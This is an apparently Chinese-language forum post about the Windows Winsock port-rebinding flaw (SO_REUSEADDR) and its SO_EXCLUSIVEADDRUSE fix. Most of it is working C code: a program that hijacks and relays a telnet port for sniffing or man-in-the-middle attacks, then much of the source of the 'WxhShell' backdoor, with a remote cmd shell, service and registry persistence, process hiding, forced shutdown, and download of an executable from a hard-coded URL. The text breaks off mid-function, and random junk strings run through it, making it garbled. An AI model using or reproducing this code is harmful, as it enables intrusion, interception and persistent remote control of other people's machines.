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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C#x9RW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UkV{4*E <j$n7#qk saddr.sin_family = AF_INET; =#ls<Zo: nolLeRE1 saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~i)IY1m" vTF_`X bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;*_U)th ;\N${YIn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6Y(Vs> 0(~,U!g[= 这意味着什么?意味着可以进行如下的攻击: 3-Xc3A=w C!r9+z)< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6Jf\}^4@k _&
qM^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {=GWQn6cc fb||q-E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %T:7I[f }v?_.MtS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 G~;hD-D~. L?gak@E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *K1GX h%T$m_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :~1p +8etCx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PgY q=|]` #aV2+ `d #include a;$'A[hq #include .^J7^Ky, #include d5ivtK? #include j*aYh^ DWORD WINAPI ClientThread(LPVOID lpParam); 7JI&tlR4\c int main() BXf.^s{H { l;gj],* WORD wVersionRequested; NFQR DWORD ret; "Lp"o WSADATA wsaData; =Nj58 l BOOL val; 8+7=yN( SOCKADDR_IN saddr; fm%1vM$[J SOCKADDR_IN scaddr; u LXV, int err; DlXthRM SOCKET s; z<rYh96uA SOCKET sc; @94_'i7\ int caddsize; Rr'^l] HANDLE mt; _(<D*V[ DWORD tid; iVKX *kqc wVersionRequested = MAKEWORD( 2, 2 ); FGP~^Dr/ err = WSAStartup( wVersionRequested, &wsaData ); 3g#fX{e_5! if ( err != 0 ) { D|1pBn.b]' printf("error!WSAStartup failed!\n"); 3)J0f+M>dv return -1; \dL#PI3 } .RNr^*AQ saddr.sin_family = AF_INET; *&vySyt ul',!js? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1JU1XQi u,6 'yB'u saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p2UZqq2 saddr.sin_port = htons(23); Gu3'<hTlxd if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?*~Pgh >uL { .7HnWKUV printf("error!socket failed!\n"); mQOYjy3 return -1; <A,G:&d~ } : Jh val = TRUE; W_zAAIY_Y //SO_REUSEADDR选项就是可以实现端口重绑定的 esM<. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) UJ'}p&E { H...!c1M@ printf("error!setsockopt failed!\n"); kXq*Jq return -1; I oz
rZ } VvO/
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -k19BDJ,W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +P~E54 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @a1+ ?'_Q^O> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y( D@B|"'m { #]yb;L ret=GetLastError(); h%Nbx:vKk printf("error!bind failed!\n"); 7b2N'^z} return -1; ( /cW } @' Er&[P listen(s,2); C<.t'| while(1) 7b_Ihv
{ qR~s&SC# caddsize = sizeof(scaddr); TT429 //接受连接请求
4^L+LY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (BgO< if(sc!=INVALID_SOCKET) %EuXL% B { od- 0wJN-m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aQ ~ if(mt==NULL) c{Ax{-'R { L7jMpz& printf("Thread Creat Failed!\n"); RoXU>a:nS break; ; b2)WM: } 9's/~T } w@Pc7$EP CloseHandle(mt); 5@+8*Fdk } UN&b]vg closesocket(s); f.gkGwNk WSACleanup(); a$c7d~p$I return 0; ^ ,Bxq^'D } &/7AW(? DWORD WINAPI ClientThread(LPVOID lpParam) "jVMk { T
x_n$ & SOCKET ss = (SOCKET)lpParam; P]Z}%
8^O SOCKET sc; <dTo-P unsigned char buf[4096]; ;X u&['
SOCKADDR_IN saddr; )T6+} long num; ,/\%-u?
1x DWORD val; |5}{4k~9J DWORD ret; a4
g~'^uC //如果是隐藏端口应用的话,可以在此处加一些判断 0;Y_@UVj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 LB1.N!q1 saddr.sin_family = AF_INET; m7 !Fb
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q:]F* p2 saddr.sin_port = htons(23); ybtje=3E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }6P]32d { /q%TjQ}F printf("error!socket failed!\n"); .E_`*[ 5= return -1; K \}xb2s } ?K7m:Dx val = 100; '}c0:,5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t_YiF%}s {
3\FiQ/? ret = GetLastError(); XcA4EBRj
return -1; @ :i>q$aF } J=/|iW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j0sR]i { voaRh@DZ%/ ret = GetLastError(); u>(s.4]+ return -1; P%smX`v } C,Je >G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d]h[]Su/? { &^thKXEC printf("error!socket connect failed!\n"); ]?U:8% closesocket(sc); -5A@FGh closesocket(ss); muQ7sJ9
r return -1; ;w?zmj<Dm } hHoc7 while(1) il-v>GJU7{ { T7n;Bf //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K/Axojo //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;W#G<M&n' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +v&+8S`+ num = recv(ss,buf,4096,0); R+Ke|C if(num>0) l\5qa_{z send(sc,buf,num,0); 3}$L4U else if(num==0) #hzs,tvvD break; XH)MBr@Fz num = recv(sc,buf,4096,0); iD@2_m) if(num>0) SsafRK$ send(ss,buf,num,0); <acAc2 else if(num==0) Vm&fw".J break; @ky5XV } A1\;6W: closesocket(ss); K^H=E closesocket(sc); #(CI/7
- return 0 ; SR~~rD|V } hvGb9 g{ l;v x!!:jL'L ========================================================== cX1"<fD o 9n!3yZVSe 下边附上一个代码,,WXhSHELL 2N(c&Dzkh` t,R5FoV ========================================================== )T?w,"kI LPT5d 7K@ #include "stdafx.h" k$o6~u 2& [m!\ZK #include <stdio.h> kvSSz%R~ #include <string.h> 05nG| #include <windows.h> -CY?~WL& #include <winsock2.h> .he%a3e #include <winsvc.h> 5nqj #include <urlmon.h> 50rq}- uxVXnQQ #pragma comment (lib, "Ws2_32.lib") yXrFH@3 #pragma comment (lib, "urlmon.lib") H@__%KBw +t/VF(! #define MAX_USER 100 // 最大客户端连接数 ~mK9S^[ #define BUF_SOCK 200 // sock buffer `EU=u_N #define KEY_BUFF 255 // 输入 buffer WABq6q! RhbYDsG #define REBOOT 0 // 重启 |)pT"` #define SHUTDOWN 1 // 关机 H*yX
Iq: PWL Mux #define DEF_PORT 5000 // 监听端口 >F,~ QHcz VILzx+v
M #define REG_LEN 16 // 注册表键长度 (sO;etW #define SVC_LEN 80 // NT服务名长度 YG?W8)T 5H==m~ // 从dll定义API 8Z/P<u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4<Bj;1*4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kHX- AsRc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5@Ot@o typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !K(0)~u ]_|qv1K6 // wxhshell配置信息 vYmRW-1Zxq struct WSCFG { FL0(q>$*8 int ws_port; // 监听端口 $+S'Boo char ws_passstr[REG_LEN]; // 口令 l4hC>q$T int ws_autoins; // 安装标记, 1=yes 0=no t1g)Y|@d char ws_regname[REG_LEN]; // 注册表键名 69r<Z char ws_svcname[REG_LEN]; // 服务名 .\{GU9|nO char ws_svcdisp[SVC_LEN]; // 服务显示名 RH6qi{)i! char ws_svcdesc[SVC_LEN]; // 服务描述信息 }I,]"0b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ./[%%" int ws_downexe; // 下载执行标记, 1=yes 0=no yWFDGk char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" XLg6?Nu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #Cvjv;
QwY h&[]B*BLr }; o}7`SYn ui YZk3 // default Wxhshell configuration Y%|f<C)lx2 struct WSCFG wscfg={DEF_PORT, vDv:3qN7( "xuhuanlingzhe", C:l
/% 1, \@GA;~x.b "Wxhshell", zg0)9br "Wxhshell", F^3Q0KsT "WxhShell Service", ~H7m7 "Wrsky Windows CmdShell Service", 3iR;(l} "Please Input Your Password: ", #l+U(zH:JG 1, #
x!47Y{ " http://www.wrsky.com/wxhshell.exe", o.keM4OQ "Wxhshell.exe" EUu"H` E+ }; a 5:YP j0Kj> // 消息定义模块 &^{HD }/{b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k3}|^/bHJ char *msg_ws_prompt="\n\r? for help\n\r#>"; SwV0q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 4!XB?-. char *msg_ws_ext="\n\rExit."; Siq2Glg_ char *msg_ws_end="\n\rQuit."; tl
(2=\ char *msg_ws_boot="\n\rReboot..."; zVd2kuI&? char *msg_ws_poff="\n\rShutdown..."; #78p#E char *msg_ws_down="\n\rSave to "; C~yfuPr\B |Eu_K` char *msg_ws_err="\n\rErr!"; B=jJ+R char *msg_ws_ok="\n\rOK!"; SirjWYap g>1yQ
char ExeFile[MAX_PATH]; #Ne<=ayS int nUser = 0; \rF6"24t6 HANDLE handles[MAX_USER]; |ITp$_S int OsIsNt; "
2Dz5L1v ~>VEg3#F SERVICE_STATUS serviceStatus; ug.mY= n' SERVICE_STATUS_HANDLE hServiceStatusHandle; cuO(*%Is1 >8"oO[U5> // 函数声明 +?w 7Nm` int Install(void); m.iCGX int Uninstall(void); eB%KXPhMm int DownloadFile(char *sURL, SOCKET wsh); r/$+'~apTk int Boot(int flag); [2pp)wq void HideProc(void); '_lyoVP int GetOsVer(void); 1XSA3;ZEc int Wxhshell(SOCKET wsl); XZ EawJ0 void TalkWithClient(void *cs); z\Rs?v" int CmdShell(SOCKET sock); 5|my}.TR int StartFromService(void); =Mzg={)v int StartWxhshell(LPSTR lpCmdLine); y>Zvos e r Lg(J|^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [^EU'lewnW VOID WINAPI NTServiceHandler( DWORD fdwControl ); jL(=<R(~y \V
/s // 数据结构和表定义 &tB|l_p_-p SERVICE_TABLE_ENTRY DispatchTable[] = }zY)H9J~ { rbiNp6AdL {wscfg.ws_svcname, NTServiceMain}, ;2Db/"`t {NULL, NULL} 'YIFHn$! }; hb9e6Cc u/Fa+S // 自我安装 gh=s#DQsFw int Install(void) 9yH95uaDF { .;yy=
Rj char svExeFile[MAX_PATH]; k_/hgO HKEY key; pisk v[ strcpy(svExeFile,ExeFile); t
j&+HC ?Z0T9e< // 如果是win9x系统,修改注册表设为自启动 _IuEa\> if(!OsIsNt) { Vc.A<( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Bm 18 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kq6S`~J^R RegCloseKey(key); * t6XU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 79U
Th@r} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y3F13 Z@% RegCloseKey(key); vDZhoD=VR return 0; %lNv?sWb } gYVk5d|8@4 } CB<1]Z } W6ZXb_X else { |-4C[5rM Xt~`EN // 如果是NT以上系统,安装为系统服务 lE:X~RO"~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b}S}OW2 if (schSCManager!=0) J\<7M8
{ :#0uy1h SC_HANDLE schService = CreateService u
+q}9 ( 6kuN) schSCManager, 4J0{$Xuu0 wscfg.ws_svcname, 3p{N7/z( wscfg.ws_svcdisp, :LBG6J SERVICE_ALL_ACCESS, }c1Vu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &I:[ 'l! SERVICE_AUTO_START, kKVd4B[#* SERVICE_ERROR_NORMAL, Mnyg:y*= svExeFile, ]2(vO0~ NULL, (__=*ew NULL, 8*kZ.-T
B NULL, }3:DJ(Y NULL, .Gq.s t% NULL r?Jxl< ); jT"P$0sJAd if (schService!=0) 'Bb]<L` { _=E))Kp{z CloseServiceHandle(schService); }[}u5T`w> CloseServiceHandle(schSCManager); X).UvPZ/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PxzeN6f strcat(svExeFile,wscfg.ws_svcname); )tR5JK} AV if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7Ipt~K} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /:v+:-lU RegCloseKey(key); :,"dno7OQ return 0; 2
P+RfE`o
} Af1izS3 } $V-]DD%Y CloseServiceHandle(schSCManager); @3KVYv,q } 0fA42*s; } ^@ s!"c IK5FSN]s/ return 1; QEL^0c8 ~ } UfjLNe}wA },'hhj]O // 自我卸载 2A|^6#XN' int Uninstall(void) 6la# 0U23 { ^tX+<X
HKEY key; n4\6\0jq6 KJWYG^zI if(!OsIsNt) { %Q5D#d"p` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QwXM<qG* RegDeleteValue(key,wscfg.ws_regname); ! P/ ]o RegCloseKey(key); |t CD@M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N[X%tf\L]F RegDeleteValue(key,wscfg.ws_regname); 6i[\?7O'0 RegCloseKey(key); I8HUH*|)n return 0; #3u3WTk+ } h`+Gs{1qw } '&Ox,i]t } iKv`[k else { WI9'$hB\ zk5sAHQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q)gZo[]~ if (schSCManager!=0) ^% BD { B[ae<V0k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {YZ)IaqZ if (schService!=0) }`6-^lj { i0/gyK if(DeleteService(schService)!=0) { "BjQs<]%sF CloseServiceHandle(schService);
r4t|T^{sl CloseServiceHandle(schSCManager); Z)'jn8?P return 0; +A8S 6bA[= } L]B]~Tw CloseServiceHandle(schService); S<Q8kW: } <y'B
!d# CloseServiceHandle(schSCManager); seY0"ym&e } 8F($RnP3 } 7c!oFwM :i0xer return 1; G+4a%?JH } O/_}O_rR 1pXAPTV // 从指定url下载文件 hDmtBdE int DownloadFile(char *sURL, SOCKET wsh) J x-^WB { F<BhN+U HRESULT hr; JeMhiY} char seps[]= "/"; 5{#9b^ char *token; iJ42` 51 char *file; 7qon:]b4 char myURL[MAX_PATH]; 0LoA-c<Ay char myFILE[MAX_PATH]; SynxMUlA W#e:r z8= strcpy(myURL,sURL); yHQ.EZ~% token=strtok(myURL,seps); uI%h$ while(token!=NULL) aO
"JT { i3: sV 5 file=token; OI %v>ns token=strtok(NULL,seps); Y8.0R-:ZAN } [KWF7GQi {0QD-b o GetCurrentDirectory(MAX_PATH,myFILE); Ul@ZCv+ strcat(myFILE, "\\"); 1|/2%IDUI strcat(myFILE, file); BxZ}YS: send(wsh,myFILE,strlen(myFILE),0); ;}f%b E send(wsh,"...",3,0); C'n 9n!hR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $0LlaN@e if(hr==S_OK) Iay7Fkv return 0; RfN5X}&A else z-7F,$ return 1; m>:%[vm Zu%_kpW } \_x)E]D 5*g@;aR1 // 系统电源模块 ih+kh7J- int Boot(int flag) 'U1r}.+b> { "%f>/k;!h. HANDLE hToken; \vQ_:-A TOKEN_PRIVILEGES tkp; y
H+CyL\ _tjFb_}Q
if(OsIsNt) { "45BOw&72G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^~BJu#uVyy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e1<28g tkp.PrivilegeCount = 1; Y%=A>~s*c: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'c &Bmd40 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =PZs'K if(flag==REBOOT) { oAvJ"JH@i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RtqW!ZZ:H return 0; zLxWyPM0; } ppV\FQ{K else { xVl90ak if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8L=QfKr return 0; U_VD* F4Bv } ZgXh[UHQy } B;K{Vo:C else { e#zGLxa if(flag==REBOOT) { erqm=) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wfZ'T#1 return 0; p!Gf^ } 6@I7UL > else { kW,yZ.?f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <0kRky$ return 0; +5({~2Lzvp } C*78ZwZ } 8\a)}k~4 sztnRX_ return 1; 71)#'ey } uj:w^t ][ jr9ZRHCU // win9x进程隐藏模块 71A{" void HideProc(void) )Z;Y,g { =riP~%_ML) aIfog+Lp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3oKqj> if ( hKernel != NULL ) )0GnTB;5Z { O]PfQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A>4k4*aFm# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jOuv\$ FreeLibrary(hKernel); m+u>%Ys` } %(kq Hxc .i. |wY return; vj_oMmjKw } k|lxJ^V# z$<6;2 // 获取操作系统版本 {?jdPh int GetOsVer(void) 4sJx_Qi { Y^!40XjrD OSVERSIONINFO winfo; 9iOlR=-* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ke/P[fo GetVersionEx(&winfo); i5wA=K_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tL).f:? return 1; '|q:h else txgGL' return 0; DRzpV6s } CTI(Kh+
K8+b\k4E // 客户端句柄模块 ^y3\e int Wxhshell(SOCKET wsl) n$Pv2qw { JRiuU:=J~` SOCKET wsh; \W\6m0-x struct sockaddr_in client; KXM-GIRUG DWORD myID; }3*h`(Bv7 .*f;v4! while(nUser<MAX_USER) >3kR~:; { bFVdv&
int nSize=sizeof(client); 6d.m@T6~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pvM8PlYo]` if(wsh==INVALID_SOCKET) return 1; 000$ZsW? ~d%Q1F*,= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m3XH3FgKz if(handles[nUser]==0) (Q4_3<G+ closesocket(wsh); +Va?wAnr else ,-1$Vh@wM nUser++; GS$k } w|Mj8Lc+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e7?W VV, A,og9<+j- return 0; lxmS.C } XVLuhwi Nb8<8O
^ // 关闭 socket %1<p1u'r?# void CloseIt(SOCKET wsh) lcP@5ZW { 6vjB;uS[ closesocket(wsh); @uE=)mP@ nUser--; B~aOs>1
S] ExitThread(0); $ i&$ZdX } X @Bpjg R P X`2zr // 客户端请求句柄 o"FX+17 void TalkWithClient(void *cs) v\k,,sI { }ri*e2y) ]EcZ|c7o9y SOCKET wsh=(SOCKET)cs; 0>;#vEF*1 char pwd[SVC_LEN]; {x4[Bx1 char cmd[KEY_BUFF]; xh6x
B|Z char chr[1]; ^hHeH:@ int i,j; I>3]4mI*a wW<"l"x, while (nUser < MAX_USER) { < t (Pw aK&+p#4t if(wscfg.ws_passstr) { u20b+c4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F^NR qE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pzax~Vp //ZeroMemory(pwd,KEY_BUFF); tZYI{m{ i=0; ,%'0e/ while(i<SVC_LEN) { yUSB{DLpla u`'z~N4} // 设置超时 }H#t( 9,U fd_set FdRead; qQcC[50 struct timeval TimeOut; bZ9NnSuH FD_ZERO(&FdRead); ,1[??Y FD_SET(wsh,&FdRead); 3.0c/v5Go TimeOut.tv_sec=8; )c '>E4> TimeOut.tv_usec=0; {e%abr_B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ThlJhTh<%4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _tReZ(Vw !TOi]`vqc if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f0`'
i[ pwd =chr[0]; s4gNS
eA if(chr[0]==0xd || chr[0]==0xa) { +.lWck pwd=0; huoKr break; mo,l`UL } h3lDDyu i++; w&"w" } =.X?LWKY f>5RAg // 如果是非法用户,关闭 socket ZQkw}3*n if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z;C=d(|nN } rc$!$~|I3Z 6}T%m?/ } send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W|#ev*'F send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AMd)d^; bVeTseAG while(1) { --twkD j?f <hQ ZeroMemory(cmd,KEY_BUFF); YU=ZZEVi $uw+^(ut // 自动支持客户端 telnet标准 Kyp0SZp[ j=0; i+[3o@ while(j<KEY_BUFF) { p}A4K#G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dT)KvqX cmd[j]=chr[0]; eM+;x\jo? if(chr[0]==0xa || chr[0]==0xd) { -z0{\=@#m cmd[j]=0; ?a>7=)%AH break; @5jG } B#6pQp$ j++; z>33O5U } +w.Kv
; _qeuVi=A // 下载文件 ij(4)= if(strstr(cmd,"http://")) { HQ3`:l send(wsh,msg_ws_down,strlen(msg_ws_down),0); @7s,|\ if(DownloadFile(cmd,wsh)) &U~r}= send(wsh,msg_ws_err,strlen(msg_ws_err),0); #a | ch6B else kLVn(dC " send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); paNw5]
-
} HS:}![P else { }=hoATs <i'u96 switch(cmd[0]) { N+M&d3H` =b<<5N s // 帮助 BO4 K#H7 case '?': { cvUut^CdK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +qUkMx break; vA;F]epr! } Z SRRlkU // 安装 U>_IYT
case 'i': { E ;!<Z4 if(Install()) =kb6xmB^t send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*:h/Lhb& else %A62xnX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |jk-@ Z* break; rocB"0 } qEJ8o.D-= // 卸载 *NW QmC~ case 'r': { X&(ERY,h if(Uninstall()) l#b|@4:I send(wsh,msg_ws_err,strlen(msg_ws_err),0); vK6ibl0 else ojx'g8yO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V3mjbH>F break; *IWFeu7y } 7-d}pgVK // 显示 wxhshell 所在路径 {OO*iZ.O case 'p': { OK-sT7But char svExeFile[MAX_PATH]; %i$M/C" ( strcpy(svExeFile,"\n\r"); -XVEV strcat(svExeFile,ExeFile); !ww:O| 0 send(wsh,svExeFile,strlen(svExeFile),0); j /H>0^ break; c6,s+^^ } +9zJlL^A% // 重启 VW9>xVd4 case 'b': { UZje>.~? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {}_ Nep/; if(Boot(REBOOT)) 7}ws
|4Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); kS+r"e
.TM else { ({%oi h closesocket(wsh); Fm<jg}>MAd ExitThread(0); #zS1Zf^KP } =#i4MXRZ{ break; 2W3NL|P } ~=:2~$gsn // 关机 Qj(vBo?D case 'd': { kmlG3hOR, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NoCDY2 $ if(Boot(SHUTDOWN)) l'*^$qc send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0|`y U else { ietRr!$. closesocket(wsh); )MWUS;O< ExitThread(0); A%Bgp?B } z\fW )/ break; -)1-~7
r } +yf(Rs)! // 获取shell 7/H^<%;y case 's': { fJN*s CmdShell(wsh); C.J`8@a]? closesocket(wsh); Oj4v#GK] ExitThread(0); 4\LZD{ break; rv9B}%e } .dx
4,|6 // 退出 %G;0T;0L case 'x': { _wf5%(~b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j G- CloseIt(wsh); I|,pE**T break; Y5dD|]F| } ]} 61vV // 离开 q$r&4s)To case 'q': { sl/=g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); z Yw;q3" closesocket(wsh); 0A;"V'i WSACleanup(); >~I#JQ% exit(1); #`W=mN(+k break; S6v!GQ } U|gpCy } P$Z} } z]kwRWe`j Y3-gUX*w0 // 提示信息 25 CZmsg if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x_*%*H } *GQDfs`m } pzp,t(%j &+ KyPY+ return; t3PtKgP-6 } 7vn%kW=$ ~C&*.ZR // shell模块句柄 HTmI1 int CmdShell(SOCKET sock) ^Ye\u1n4 { GCDwWCxh STARTUPINFO si; Sw~(uH_l ZeroMemory(&si,sizeof(si)); ^ eQFg> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '77~{jy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |]`hXr PROCESS_INFORMATION ProcessInfo; \(I0wEQo$ char cmdline[]="cmd"; @q K]JK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a1Hz3y~S/ return 0; LL&ud_Y } 5W/{h q8}} -LtK8wl^ // 自身启动模式 m9in1RI% int StartFromService(void) <5S@ORN { k<a;[_S typedef struct .evbE O 5 { Ck\7F?S DWORD ExitStatus; RK[D_SmS DWORD PebBaseAddress; F^QQ0h]2 DWORD AffinityMask; {~SaRB2<' DWORD BasePriority; :ygWNK[6D ULONG UniqueProcessId; >ys[I0bo ULONG InheritedFromUniqueProcessId; ! QM.P
